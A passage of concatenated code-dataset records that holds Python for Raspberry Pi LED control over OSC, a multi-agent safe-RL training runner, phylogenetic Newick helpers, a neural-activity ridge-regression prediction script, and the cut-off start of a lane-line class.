switch_flag=True#スイッチフラグをTrueにする\n else:\n switch_flag=False#スイッチフラグをFalseにする\n \n \n ###loopCountの処理\n loopCount = loopCount + loopChange\n loopChange = 0\n if loopCount < 0:\n loopCount = 0\n #print(\"error:loopCount is negative\")\n if loopCount > LIGHT_SEC * FPS:\n loopCount = LIGHT_SEC * FPS\n #print(\"error:loopCount is over\")\n #print(\"loopCount:\"+str(loopCount))\n ###\n\n Light() #call light function\n signal_count=signal_count+1\n \n\n\ndef Light():\n global loopCount\n global start_flag\n loop_start_time=time.time()\n start_index=loopCount*(LED_COUNT+1)\n ###一応ここでも\n if loopCount < 0:\n loopCount = 0\n if loopCount > LIGHT_SEC * FPS:\n loopCount = LIGHT_SEC * FPS\n ###\n try:\n if LED_SECOND_USE == 0:\n for j in range(LED_COUNT):\n strip.setPixelColor(j,Color(int(data[start_index+j,1]),int(data[start_index+j,0]),int(data[start_index+j,2])))\n strip.show()\n elif LED_SECOND_USE == 1:\n for j in range(LED_COUNT):\n if j < LED_COUNT_UP:\n strip1.setPixelColor(j,Color(int(data[start_index+j,1]),int(data[start_index+j,0]),int(data[start_index+j,2])))\n else:\n strip2.setPixelColor(j-LED_COUNT_UP,Color(int(data[start_index+j,1]),int(data[start_index+j,0]),int(data[start_index+j,2])))\n strip1.show()\n strip2.show()\n if start_flag == False:\n #print(\"waiting for start\")\n if switch_flag == True:\n start_flag = True #オペ用maxからスタートの合図がきていなくても、演者側のスイッチが押されたら(switch_flag)スタートする(start_flag=True)\n if start_flag == True:\n loopCount=loopCount+1\n except:\n pass\n\n\n\n\nprint(\"start main process\")\n\n####GPIO setting---------------------------------\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(SWITCH_PIN, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n#-----------------------------------------\n\n#####OSC setting----------------------------------------------------\nprint(\"OSC setting start\")\n# Start the osc4py3 system.\nosc_startup()\n\n##osc receive setting###############################\n# Make server channels to receive packets.\nosc_udp_server(\"0.0.0.0\", const.PC_TO_RASPBERRY_PI_1_PORT, \"aservername\") #設定するIPはこのプログラムを起動する方\n\n# argument scheme OSCARG_DATAUNPACK.\n# oscで呼び出す関数を決める\nosc_method(\"/lc/test/*\", test, argscheme=osm.OSCARG_ADDRESS + osm.OSCARG_DATAUNPACK) #アドレスも返す #テスト用関数\nosc_method(const.EVENT_ADDRESS+\"/*\", event_func, argscheme=osm.OSCARG_ADDRESS + osm.OSCARG_DATAUNPACK) #アドレスも返す\n##osc receive setting end############################\n\n\n##osc send setting####################################\nosc_udp_client(const.PC_IP, const.RASPBERRY_PI_1_TO_PC_PORT, \"aclientname\") #設定するIPはこのプログラムを起動する方\n##osc send setting end################################\n\n# Periodically call osc4py3 processing method in your event loop.\nprint(\"OSC setting end\")\n#OSC setting end-------------------------------------------------------\n\n\n\n#####LED light input----------------------------------\nprint(\"LED setting start\")\nif LED_SECOND_USE == 0:\n print(\"single LED tape\")\n strip = Adafruit_NeoPixel(LED_COUNT, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS, LED_CHANNEL)\n strip.begin()\nelif LED_SECOND_USE == 1:\n print(\"double LED tape\")\n strip1 = Adafruit_NeoPixel(LED_COUNT_UP, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS, LED_CHANNEL)\n strip1.begin()\n strip2 = Adafruit_NeoPixel(LED_COUNT_DOWN, lED_PIN_SECOND, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS, LED_CHANNEL_SECOND)\n strip2.begin()\nprint(\"expected time is: \"+str(const.EXPECTED_TIME_SEC_FILE_READ)+\" sec to read led color file\")\ndata = np.genfromtxt(const.LED_INPUT_FILE,delimiter=\",\", skip_header=0,dtype='int')\nprint(\"LED setting end\")\n#LED setting end----------------------------------\n\n\n\n\n#ここの中がOSCを受けながら実行するところになる-----------------\nsignal.signal(signal.SIGALRM, scheduler)\nsignal.setitimer(signal.ITIMER_REAL, 1, period)\ntime.sleep(60*PRODUCTION_MIN)\n#-------------------------------------------------------\n\n# Properly close the system.\nosc_terminate()\n","sub_path":"rasp_share/led.py","file_name":"led.py","file_ext":"py","file_size_in_byte":8045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"521862645","text":"import copy\nimport time\nimport wandb\nimport os\nimport numpy as np\nfrom itertools import chain\nimport torch\nfrom tensorboardX import SummaryWriter\n\nfrom macpo.utils.separated_buffer import SeparatedReplayBuffer\nfrom macpo.utils.util import update_linear_schedule\n\n\ndef _t2n(x):\n return x.detach().cpu().numpy()\n\n\nclass Runner(object):\n def __init__(self, config):\n\n self.all_args = config['all_args']\n self.envs = config['envs']\n self.eval_envs = config['eval_envs']\n self.device = config['device']\n self.num_agents = config['num_agents']\n\n # parameters\n self.env_name = self.all_args.env_name\n self.algorithm_name = self.all_args.algorithm_name\n self.experiment_name = self.all_args.experiment_name\n self.use_centralized_V = self.all_args.use_centralized_V\n self.use_obs_instead_of_state = self.all_args.use_obs_instead_of_state\n self.num_env_steps = self.all_args.num_env_steps\n self.episode_length = self.all_args.episode_length\n self.n_rollout_threads = self.all_args.n_rollout_threads\n self.n_eval_rollout_threads = self.all_args.n_eval_rollout_threads\n self.use_linear_lr_decay = self.all_args.use_linear_lr_decay\n self.hidden_size = self.all_args.hidden_size\n self.use_wandb = self.all_args.use_wandb\n self.use_render = self.all_args.use_render\n self.recurrent_N = self.all_args.recurrent_N\n self.use_single_network = self.all_args.use_single_network\n # interval\n self.save_interval = self.all_args.save_interval\n self.use_eval = self.all_args.use_eval\n self.eval_interval = self.all_args.eval_interval\n self.log_interval = self.all_args.log_interval\n self.gamma = self.all_args.gamma\n self.use_popart = self.all_args.use_popart\n\n self.safty_bound = self.all_args.safty_bound\n\n # dir\n self.model_dir = self.all_args.model_dir\n\n if self.use_render:\n import imageio\n self.run_dir = config[\"run_dir\"]\n self.gif_dir = str(self.run_dir / 'gifs')\n if not os.path.exists(self.gif_dir):\n os.makedirs(self.gif_dir)\n else:\n if self.use_wandb:\n self.save_dir = str(wandb.run.dir)\n else:\n self.run_dir = config[\"run_dir\"]\n self.log_dir = str(self.run_dir / 'logs')\n if not os.path.exists(self.log_dir):\n os.makedirs(self.log_dir)\n self.writter = SummaryWriter(self.log_dir)\n self.save_dir = str(self.run_dir / 'models')\n if not os.path.exists(self.save_dir):\n os.makedirs(self.save_dir)\n\n from macpo.algorithms.r_mappo.r_macpo import R_MACTRPO_CPO as TrainAlgo\n\n from macpo.algorithms.r_mappo.algorithm.MACPPOPolicy import MACPPOPolicy as Policy\n\n self.policy = []\n for agent_id in range(self.num_agents):\n share_observation_space = self.envs.share_observation_space[agent_id] if self.use_centralized_V else \\\n self.envs.observation_space[agent_id]\n # policy network\n po = Policy(self.all_args,\n self.envs.observation_space[agent_id],\n share_observation_space,\n self.envs.action_space[agent_id],\n device=self.device)\n self.policy.append(po)\n\n if self.model_dir is not None:\n self.restore()\n\n self.trainer = []\n self.buffer = []\n # todo: revise this for trpo\n for agent_id in range(self.num_agents):\n # algorithm\n tr = TrainAlgo(self.all_args, self.policy[agent_id], device=self.device)\n # buffer\n share_observation_space = self.envs.share_observation_space[agent_id] if self.use_centralized_V else \\\n self.envs.observation_space[agent_id]\n bu = SeparatedReplayBuffer(self.all_args,\n self.envs.observation_space[agent_id],\n share_observation_space,\n self.envs.action_space[agent_id])\n self.buffer.append(bu)\n self.trainer.append(tr)\n\n def run(self):\n raise NotImplementedError\n\n def warmup(self):\n raise NotImplementedError\n\n def collect(self, step):\n raise NotImplementedError\n\n def insert(self, data):\n raise NotImplementedError\n\n @torch.no_grad()\n def compute(self):\n for agent_id in range(self.num_agents):\n self.trainer[agent_id].prep_rollout()\n next_value = self.trainer[agent_id].policy.get_values(self.buffer[agent_id].share_obs[-1],\n self.buffer[agent_id].rnn_states_critic[-1],\n self.buffer[agent_id].masks[-1])\n next_value = _t2n(next_value)\n self.buffer[agent_id].compute_returns(next_value, self.trainer[agent_id].value_normalizer)\n\n next_costs = self.trainer[agent_id].policy.get_cost_values(self.buffer[agent_id].share_obs[-1],\n self.buffer[agent_id].rnn_states_cost[-1],\n self.buffer[agent_id].masks[-1])\n next_costs = _t2n(next_costs)\n self.buffer[agent_id].compute_cost_returns(next_costs, self.trainer[agent_id].value_normalizer)\n\n def train(self):\n # have modified for SAD_PPO\n train_infos = []\n cost_train_infos = []\n # random update order\n action_dim = self.buffer[0].actions.shape[-1]\n factor = np.ones((self.episode_length, self.n_rollout_threads, action_dim), dtype=np.float32)\n for agent_id in torch.randperm(self.num_agents):\n self.trainer[agent_id].prep_training()\n self.buffer[agent_id].update_factor(factor)\n available_actions = None if self.buffer[agent_id].available_actions is None \\\n else self.buffer[agent_id].available_actions[:-1].reshape(-1, *self.buffer[\n agent_id].available_actions.shape[\n 2:])\n\n if self.all_args.algorithm_name == \"macpo\":\n old_actions_logprob, _, _, _ = self.trainer[agent_id].policy.actor.evaluate_actions(\n self.buffer[agent_id].obs[:-1].reshape(-1, *self.buffer[agent_id].obs.shape[2:]),\n self.buffer[agent_id].rnn_states[0:1].reshape(-1, *self.buffer[agent_id].rnn_states.shape[2:]),\n self.buffer[agent_id].actions.reshape(-1, *self.buffer[agent_id].actions.shape[2:]),\n self.buffer[agent_id].masks[:-1].reshape(-1, *self.buffer[agent_id].masks.shape[2:]),\n available_actions,\n self.buffer[agent_id].active_masks[:-1].reshape(-1, *self.buffer[agent_id].active_masks.shape[2:]))\n else:\n old_actions_logprob, _ = self.trainer[agent_id].policy.actor.evaluate_actions(\n self.buffer[agent_id].obs[:-1].reshape(-1, *self.buffer[agent_id].obs.shape[2:]),\n self.buffer[agent_id].rnn_states[0:1].reshape(-1, *self.buffer[agent_id].rnn_states.shape[2:]),\n self.buffer[agent_id].actions.reshape(-1, *self.buffer[agent_id].actions.shape[2:]),\n self.buffer[agent_id].masks[:-1].reshape(-1, *self.buffer[agent_id].masks.shape[2:]),\n available_actions,\n self.buffer[agent_id].active_masks[:-1].reshape(-1, *self.buffer[agent_id].active_masks.shape[2:]))\n\n # safe_buffer, cost_adv = self.buffer_filter(agent_id)\n # train_info = self.trainer[agent_id].train(safe_buffer, cost_adv)\n\n train_info = self.trainer[agent_id].train(self.buffer[agent_id])\n\n new_actions_logprob, dist_entropy, action_mu, action_std = self.trainer[agent_id].policy.actor.evaluate_actions(\n self.buffer[agent_id].obs[:-1].reshape(-1, *self.buffer[agent_id].obs.shape[2:]),\n self.buffer[agent_id].rnn_states[0:1].reshape(-1, *self.buffer[agent_id].rnn_states.shape[2:]),\n self.buffer[agent_id].actions.reshape(-1, *self.buffer[agent_id].actions.shape[2:]),\n self.buffer[agent_id].masks[:-1].reshape(-1, *self.buffer[agent_id].masks.shape[2:]),\n available_actions,\n self.buffer[agent_id].active_masks[:-1].reshape(-1, *self.buffer[agent_id].active_masks.shape[2:]))\n factor = factor * _t2n(torch.exp(new_actions_logprob - old_actions_logprob).reshape(self.episode_length,\n self.n_rollout_threads,\n action_dim))\n train_infos.append(train_info)\n\n self.buffer[agent_id].after_update()\n\n return train_infos, cost_train_infos\n\n # episode length of envs is exactly equal to buffer size, that is, num_thread = num_episode\n def buffer_filter(self, agent_id):\n episode_length = len(self.buffer[0].rewards)\n # J constraints for all agents, just a toy example\n J = np.zeros((self.n_rollout_threads, 1), dtype=np.float32)\n for t in reversed(range(episode_length)):\n J = self.buffer[agent_id].costs[t] + self.gamma * J\n\n factor = self.buffer[agent_id].factor\n\n if self.use_popart:\n cost_adv = self.buffer[agent_id].cost_returns[:-1] - \\\n self.trainer[agent_id].value_normalizer.denormalize(self.buffer[agent_id].cost_preds[:-1])\n else:\n cost_adv = self.buffer[agent_id].cost_returns[:-1] - self.buffer[agent_id].cost_preds[:-1]\n\n expectation = np.mean(factor * cost_adv, axis=(0, 2))\n\n constraints_value = J + np.expand_dims(expectation, -1)\n\n del_id = []\n for i in range(self.n_rollout_threads):\n if constraints_value[i][0] > self.safty_bound:\n del_id.append(i)\n\n buffer_filterd = self.remove_episodes(agent_id, del_id)\n return buffer_filterd, cost_adv\n\n def remove_episodes(self, agent_id, del_ids):\n buffer = copy.deepcopy(self.buffer[agent_id])\n buffer.share_obs = np.delete(buffer.share_obs, del_ids, 1)\n buffer.obs = np.delete(buffer.obs, del_ids, 1)\n buffer.rnn_states = np.delete(buffer.rnn_states, del_ids, 1)\n buffer.rnn_states_critic = np.delete(buffer.rnn_states_critic, del_ids, 1)\n buffer.rnn_states_cost = np.delete(buffer.rnn_states_cost, del_ids, 1)\n buffer.value_preds = np.delete(buffer.value_preds, del_ids, 1)\n buffer.returns = np.delete(buffer.returns, del_ids, 1)\n if buffer.available_actions is not None:\n buffer.available_actions = np.delete(buffer.available_actions, del_ids, 1)\n buffer.actions = np.delete(buffer.actions, del_ids, 1)\n buffer.action_log_probs = np.delete(buffer.action_log_probs, del_ids, 1)\n buffer.rewards = np.delete(buffer.rewards, del_ids, 1)\n # todo: cost should be calculated entirely\n buffer.costs = np.delete(buffer.costs, del_ids, 1)\n buffer.cost_preds = np.delete(buffer.cost_preds, del_ids, 1)\n buffer.cost_returns = np.delete(buffer.cost_returns, del_ids, 1)\n buffer.masks = np.delete(buffer.masks, del_ids, 1)\n buffer.bad_masks = np.delete(buffer.bad_masks, del_ids, 1)\n buffer.active_masks = np.delete(buffer.active_masks, del_ids, 1)\n if buffer.factor is not None:\n buffer.factor = np.delete(buffer.factor, del_ids, 1)\n return buffer\n\n def save(self):\n for agent_id in range(self.num_agents):\n if self.use_single_network:\n policy_model = self.trainer[agent_id].policy.model\n torch.save(policy_model.state_dict(), str(self.save_dir) + \"/model_agent\" + str(agent_id) + \".pt\")\n else:\n policy_actor = self.trainer[agent_id].policy.actor\n torch.save(policy_actor.state_dict(), str(self.save_dir) + \"/actor_agent\" + str(agent_id) + \".pt\")\n policy_critic = self.trainer[agent_id].policy.critic\n torch.save(policy_critic.state_dict(), str(self.save_dir) + \"/critic_agent\" + str(agent_id) + \".pt\")\n\n def restore(self):\n for agent_id in range(self.num_agents):\n if self.use_single_network:\n policy_model_state_dict = torch.load(str(self.model_dir) + '/model_agent' + str(agent_id) + '.pt')\n self.policy[agent_id].model.load_state_dict(policy_model_state_dict)\n else:\n policy_actor_state_dict = torch.load(str(self.model_dir) + '/actor_agent' + str(agent_id) + '.pt')\n self.policy[agent_id].actor.load_state_dict(policy_actor_state_dict)\n policy_critic_state_dict = torch.load(str(self.model_dir) + '/critic_agent' + str(agent_id) + '.pt')\n self.policy[agent_id].critic.load_state_dict(policy_critic_state_dict)\n\n def log_train(self, train_infos, total_num_steps):\n for agent_id in range(self.num_agents):\n for k, v in train_infos[agent_id].items():\n agent_k = \"agent%i/\" % agent_id + k\n if self.use_wandb:\n wandb.log({agent_k: v}, step=total_num_steps)\n else:\n self.writter.add_scalars(agent_k, {agent_k: v}, total_num_steps)\n\n def log_env(self, env_infos, total_num_steps):\n for k, v in env_infos.items():\n if len(v) > 0:\n if self.use_wandb:\n wandb.log({k: np.mean(v)}, step=total_num_steps)\n else:\n self.writter.add_scalars(k, {k: np.mean(v)}, total_num_steps)\n","sub_path":"Safe-MARL/Multi-Agent-Constrained-Policy-Optimisation/MACPO/macpo/runner/separated/base_runner_macpo.py","file_name":"base_runner_macpo.py","file_ext":"py","file_size_in_byte":14185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"545698421","text":"def create_initialList(data,nucleotide):\n list = []\n for i in range(len(data)):\n #Check if node is ancestral\n for j in range(len(data[i].ancestral_material)):\n if (nucleotide >= data[i].ancestral_material[j][0]) and (nucleotide <= data[i].ancestral_material[j][1]):\n list.append(i)\n break\n return list\n#END CREATE_INITIALLIST\n\ndef remove_unancestral(data,list):\n for i in list:\n a = []\n for j in range(len(data[i].parent)):\n if data[i].parent[j] in list:\n a.append(data[i].parent[j])\n data[i].parent = a[:]\n a = []\n for j in range(len(data[i].children)):\n if data[i].children[j] in list:\n a.append(data[i].children[j])\n data[i].children = a[:]\n return list\n#END REMOVE_UNANCESTRAL\n\ndef remove_recomb(data,list):\n i = 0\n while i < len(list)-1:\n if len(data[list[i]].children) == 1:\n #Recombinant node\n #Update child and parent node and remove from list\n k = list[i]\n data[data[list[i]].children[0]].parent = []\n data[data[list[i]].children[0]].parent.append(data[list[i]].parent[0])\n\n a = []\n for j in range(len(data[data[list[i]].parent[0]].children)):\n if data[data[list[i]].parent[0]].children[j] != k:\n a.append(data[data[list[i]].parent[0]].children[j])\n a.append(data[list[i]].children[0])\n data[data[list[i]].parent[0]].children = []\n data[data[list[i]].parent[0]].children = a[:]\n\n a = []\n for j in list:\n if j != k:\n a.append(j)\n list = a[:]\n i = -1\n i = i+1\n\n return [data,list]\n#END REMOVE_RECOMB\n\ndef create_newick(data,list,leaves):\n for i in list[leaves:]:\n parent = i\n if len(data[parent].label) == 0:\n child_0 = data[parent].children[0]\n child_1 = data[parent].children[1]\n # Create new label for parent node\n data[parent].label = \"(\" + data[child_0].label + \":\" + str(data[parent].age - data[child_0].age)[1:-1] + \",\" + data[child_1].label + \":\" + str(data[parent].age - data[child_1].age)[1:-1] + \")\"\n\n return data[list[-1]].label\n\n\n#END CREATE_NEWICK\n","sub_path":"bacterial_unweighted/create_clonalFrame.py","file_name":"create_clonalFrame.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"72240899","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import Ridge\nfrom sklearn.decomposition import TruncatedSVD, PCA\nimport tables\nfrom matplotlib.cm import ScalarMappable\nfrom matplotlib.pyplot import Normalize\nfrom tqdm import tqdm\nfrom scipy import ndimage, signal\nimport cv2\n\nimport Regression_Utils\n\n\ndef calculate_coefficient_of_partial_determination(sum_sqaure_error_full, sum_sqaure_error_reduced):\n coefficient_of_partial_determination = np.subtract(sum_sqaure_error_reduced, sum_sqaure_error_full)\n sum_sqaure_error_reduced = np.add(sum_sqaure_error_reduced, 0.000001) # Ensure We Do Not Divide By Zero\n coefficient_of_partial_determination = np.divide(coefficient_of_partial_determination, sum_sqaure_error_reduced)\n coefficient_of_partial_determination = np.nan_to_num(coefficient_of_partial_determination)\n\n #print(\"CPD Shape\", np.shape(coefficient_of_partial_determination))\n #print(\"CPD\", coefficient_of_partial_determination)\n #plt.hist(coefficient_of_partial_determination)\n #plt.show()\n return coefficient_of_partial_determination\n\n\ndef get_sum_square_errors(real, prediction):\n error = np.subtract(real, prediction)\n error = np.square(error)\n error = np.sum(error, axis=0)\n return error\n\ndef get_lagged_matrix(matrix, n_lags=14):\n \"\"\"\n :param matrix: Matrix of shape (n_dimensionns, n_samples)\n :param n_lags: Number Of steps to include lagged versions of the matrix\n :return: Matrix with duplicated shifted version of origional matrix with shape (n_dimensions * n_lages, n_samples)\n \"\"\"\n print(\"Getting Lagged Matrix Shape\", np.shape(matrix))\n\n lagged_combined_matrix = []\n for lag_index in range(n_lags):\n lagged_matrix = np.copy(matrix)\n lagged_matrix = np.roll(a=lagged_matrix, axis=1, shift=lag_index)\n lagged_matrix[:, 0:lag_index] = 0\n lagged_combined_matrix.append(lagged_matrix)\n\n lagged_combined_matrix = np.vstack(lagged_combined_matrix)\n return lagged_combined_matrix\n\n\ndef create_event_kernel_from_event_list(event_list, number_of_widefield_frames, preceeding_window=-14, following_window=28):\n\n kernel_size = following_window - preceeding_window\n design_matrix = np.zeros((number_of_widefield_frames, kernel_size))\n\n for timepoint_index in range(number_of_widefield_frames):\n\n if event_list[timepoint_index] == 1:\n\n # Get Start and Stop Times Of Kernel\n start_time = timepoint_index + preceeding_window\n stop_time = timepoint_index + following_window\n\n # Ensure Start and Stop Times Dont Fall Below Zero Or Above Number Of Frames\n start_time = np.max([0, start_time])\n stop_time = np.min([number_of_widefield_frames-1, stop_time])\n\n # Fill In Design Matrix\n number_of_regressor_timepoints = stop_time - start_time\n for regressor_index in range(number_of_regressor_timepoints):\n design_matrix[start_time + regressor_index, regressor_index] = 1\n\n return design_matrix\n\ndef create_lagged_matrix(matrix, n_lags=14):\n \"\"\"\n :param matrix: Matrix of shape (n_samples, n_dimensionns)\n :param n_lags: Number Of steps to include lagged versions of the matrix\n :return: Matrix with duplicated shifted version of origional matrix with shape (n_samples, n_dimensions * n_lags)\n \"\"\"\n print(\"Getting Lagged Matrix Shape\", np.shape(matrix))\n\n lagged_combined_matrix = []\n for lag_index in range(n_lags):\n lagged_matrix = np.copy(matrix)\n lagged_matrix = np.roll(a=lagged_matrix, axis=1, shift=lag_index)\n lagged_matrix[0:lag_index] = 0\n lagged_combined_matrix.append(lagged_matrix)\n\n lagged_combined_matrix = np.hstack(lagged_combined_matrix)\n\n return lagged_combined_matrix\n\ndef denoise_data(sample_data):\n\n # Remove NaNS\n sample_data = np.nan_to_num(sample_data)\n\n # Filter\n sampling_frequency = 28 # In Hertz\n cutoff_frequency = 12 # In Hertz\n w = cutoff_frequency / (sampling_frequency / 2) # Normalised frequency\n b, a = signal.butter(1, w, 'lowpass')\n sample_data = signal.filtfilt(b, a, sample_data, axis=0)\n\n # Denoise with dimensionality reduction\n model = PCA(n_components=150)\n transformed_data = model.fit_transform(sample_data)\n sample_data = model.inverse_transform(transformed_data)\n\n return sample_data\n\n\ndef predict_activity(base_directory, early_cutoff=10000, sample_size=5000):\n\n # Load Delta F Matrix\n delta_f_file = os.path.join(base_directory, \"Downsampled_Delta_F.h5\")\n delta_f_file_container = tables.open_file(delta_f_file, \"r\")\n delta_f_matrix = delta_f_file_container.root.Data\n delta_f_matrix = np.array(delta_f_matrix)\n number_of_widefield_frames, number_of_pixels = np.shape(delta_f_matrix)\n print(\"Delta F Matrix Shape\", np.shape(delta_f_matrix))\n\n # Load Downsampled AI\n downsampled_ai_file = os.path.join(base_directory, \"Downsampled_AI_Matrix_Framewise.npy\")\n downsampled_ai_matrix = np.load(downsampled_ai_file)\n\n # Create Stimuli Dictionary\n stimuli_dictionary = Regression_Utils.create_stimuli_dictionary()\n\n # Extract Lick and Running Traces\n lick_trace = downsampled_ai_matrix[stimuli_dictionary[\"Lick\"]]\n running_trace = downsampled_ai_matrix[stimuli_dictionary[\"Running\"]]\n\n # Subtract Traces So When Mouse Not Running Or licking They Equal 0\n running_baseline = np.load(os.path.join(base_directory, \"Running_Baseline.npy\"))\n running_trace = np.subtract(running_trace, running_baseline)\n running_trace = np.clip(running_trace, a_min=0, a_max=None)\n running_trace = np.expand_dims(running_trace, 1)\n print(\"Running Trace Shape\", np.shape(running_trace))\n\n lick_baseline = np.load(os.path.join(base_directory, \"Lick_Baseline.npy\"))\n lick_trace = np.subtract(lick_trace, lick_baseline)\n lick_trace = np.clip(lick_trace, a_min=0, a_max=None)\n lick_trace = np.expand_dims(lick_trace, 1)\n\n # Get Lagged Lick and Running Traces\n print(\"Lick Trace Shape\", np.shape(lick_trace))\n lick_trace = create_lagged_matrix(lick_trace)\n print(\"Lagged Lick Trace Shape\", np.shape(lick_trace))\n running_trace = create_lagged_matrix(running_trace)\n\n\n # Create Lick Kernel\n lick_onsets = np.load(os.path.join(base_directory, \"Stimuli_Onsets\", \"Lick_Events.npy\"))\n lick_event_kernel = create_event_kernel_from_event_list(lick_onsets, number_of_widefield_frames, preceeding_window=-5, following_window=14)\n lick_regressors = np.hstack([lick_trace, lick_event_kernel])\n\n # Create Running Kernel\n running_onsets = np.load(os.path.join(base_directory, \"Stimuli_Onsets\", \"Running_Events.npy\"))\n running_event_kernel = create_event_kernel_from_event_list(running_onsets, number_of_widefield_frames, preceeding_window=-14, following_window=28)\n running_regressors = np.hstack([running_trace, running_event_kernel])\n\n # Load Limb Movements\n limb_movements = np.load(os.path.join(base_directory, \"Mousecam_Analysis\", \"Matched_Limb_Movements_Simple.npy\"))\n print(\"Limb Movement Shape\", np.shape(limb_movements))\n\n # Load Blink and Eye Movement Event Lists\n eye_movement_event_list = np.load(os.path.join(base_directory, \"Eyecam_Analysis\", \"Matched_Eye_Movement_Events.npy\"))\n blink_event_list = np.load(os.path.join(base_directory, \"Eyecam_Analysis\", \"Matched_Blink_Events.npy\"))\n\n # Create Regressor Kernels\n eye_movement_event_kernel = create_event_kernel_from_event_list(eye_movement_event_list, number_of_widefield_frames)\n blink_event_kernel = create_event_kernel_from_event_list(blink_event_list, number_of_widefield_frames)\n\n # Load Whisker Pad Motion\n whisker_pad_motion_components = np.load(os.path.join(base_directory, \"Mousecam_Analysis\", \"matched_whisker_data.npy\"))\n print(\"Whisker Pad Motion Components\", np.shape(whisker_pad_motion_components))\n\n # Load Face Motion Data\n face_motion_components = np.load(os.path.join(base_directory, \"Mousecam_Analysis\", \"matched_face_data.npy\"))\n print(\"Face Motion Components\", np.shape(whisker_pad_motion_components))\n\n # Get Lagged Versions\n whisker_pad_motion_components = create_lagged_matrix(whisker_pad_motion_components)\n limb_movements = create_lagged_matrix(limb_movements)\n face_motion_components = create_lagged_matrix(face_motion_components)\n print(\"Whisker Pad Motion Components\", np.shape(whisker_pad_motion_components))\n\n # Create Design Matrix\n coef_names = [\"Lick\", \"Running\", \"Face_Motion\", \"Eye_Movements\", \"Blinks\", \"Whisking\", \"Limbs\"]\n\n\n print(\"Design Matrix:\")\n print(\"Lick Regressors: \", np.shape(lick_regressors))\n print(\"Running Regressors: \", np.shape(running_regressors))\n print(\"face_motion_components\", np.shape(face_motion_components))\n print(\"eye_movement_event_kernel\", np.shape(eye_movement_event_kernel))\n print(\"blink_event_kernel\", np.shape(blink_event_kernel))\n print(\"whisker_pad_motion_components\", np.shape(whisker_pad_motion_components))\n print(\"limb_movements\", np.shape(limb_movements))\n\n design_matrix = [\n lick_regressors,\n running_regressors,\n face_motion_components,\n eye_movement_event_kernel,\n blink_event_kernel,\n whisker_pad_motion_components,\n limb_movements\n ]\n design_matrix = np.hstack(design_matrix)\n print(\"Deisgn Matrix\", np.shape(design_matrix))\n design_matrix = design_matrix[early_cutoff:early_cutoff + sample_size]\n\n # Load Regression Dict\n regression_dictionary = np.load(os.path.join(base_directory, \"Regression_Coefs\", \"Regression_Dictionary_Simple.npy\"), allow_pickle=True)[()]\n regression_intercepts = regression_dictionary[\"Intercepts\"]\n print(\"Intercepts Shape\", np.shape(regression_intercepts))\n\n regression_coefs = regression_dictionary[\"Coefs\"]\n regression_coefs = np.transpose(regression_coefs)\n print(\"Regression Coefs Shape\", np.shape(regression_coefs))\n\n # Get Model Prediction\n model_prediction = np.dot(design_matrix, regression_coefs)\n model_prediction = np.add(model_prediction, regression_intercepts)\n print(\"Model Prediction Shape\", np.shape(model_prediction))\n\n # Get Real Sample\n real_data = delta_f_matrix[early_cutoff:early_cutoff + sample_size]\n\n # Denoise Data\n print(\"Denoising Real Data\")\n real_data = denoise_data(real_data)\n print(\"Denoising Model Prediction\")\n model_prediction = denoise_data(model_prediction)\n\n # View Model Prediction\n indicies, image_height, image_width = Regression_Utils.load_downsampled_mask(base_directory)\n\n # Create Video File\n reconstructed_file = os.path.join(base_directory, \"Ridge_Model_Prediction.avi\")\n video_codec = cv2.VideoWriter_fourcc(*'DIVX')\n video = cv2.VideoWriter(reconstructed_file, video_codec, frameSize=(image_width * 3, image_height), fps=30) # 0, 12\n\n colourmap = ScalarMappable(cmap=Regression_Utils.get_musall_cmap(), norm=Normalize(vmin=-0.05, vmax=0.05))\n for frame_index in tqdm(range(sample_size)):\n\n predicted_frame = model_prediction[frame_index]\n real_frame = real_data[frame_index]\n residual = np.subtract(real_frame, predicted_frame)\n\n predicted_frame = Regression_Utils.create_image_from_data(predicted_frame, indicies, image_height, image_width)\n real_frame = Regression_Utils.create_image_from_data(real_frame, indicies, image_height, image_width)\n residual = Regression_Utils.create_image_from_data(residual, indicies, image_height, image_width)\n\n #real_frame = ndimage.gaussian_filter(real_frame, sigma=1)\n\n \"\"\"\n figure_1 = plt.figure()\n rows = 1\n columns = 3\n real_axis = figure_1.add_subplot(rows, columns, 1)\n predicited_axis = figure_1.add_subplot(rows, columns, 2)\n residual_axis = figure_1.add_subplot(rows, columns, 3)\n\n real_axis.imshow(real_frame, vmin=-0.05, vmax=0.05, cmap=Regression_Utils.get_musall_cmap())\n predicited_axis.imshow(predicted_frame, vmin=-0.05, vmax=0.05, cmap=Regression_Utils.get_musall_cmap())\n residual_axis.imshow(residual, vmin=-0.05, vmax=0.05, cmap=Regression_Utils.get_musall_cmap())\n plt.show()\n \"\"\"\n\n frame = np.hstack([real_frame, predicted_frame, residual])\n\n frame = colourmap.to_rgba(frame)\n frame = frame * 255\n frame = np.ndarray.astype(frame, np.uint8)\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n video.write(frame)\n\n cv2.destroyAllWindows()\n video.release()\n\n\n\n# Fit Model\nsession_list = [\n r\"/media/matthew/External_Harddrive_1/Neurexin_Data/NRXN71.2A/2020_12_17_Switching_Imaging\",\n]\n\nfor session in session_list:\n predict_activity(session)\n\n\n","sub_path":"build/lib/Ridge_Regression_Model/Predict_From_Ridge_Model.py","file_name":"Predict_From_Ridge_Model.py","file_ext":"py","file_size_in_byte":12732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"468157536","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 30 22:09:56 2017\n\n@author: rudi\n\"\"\"\nimport collections\nimport numpy as np\n\n# Defines a line in a single frame. There shall be a left and a right line.\nclass LineSegment():\n def __init__(self, coeffs=None, fitx=None, x=None, y=None, vpos=None, lwidth=None):\n # was the line in the current frame detected \n self.detected 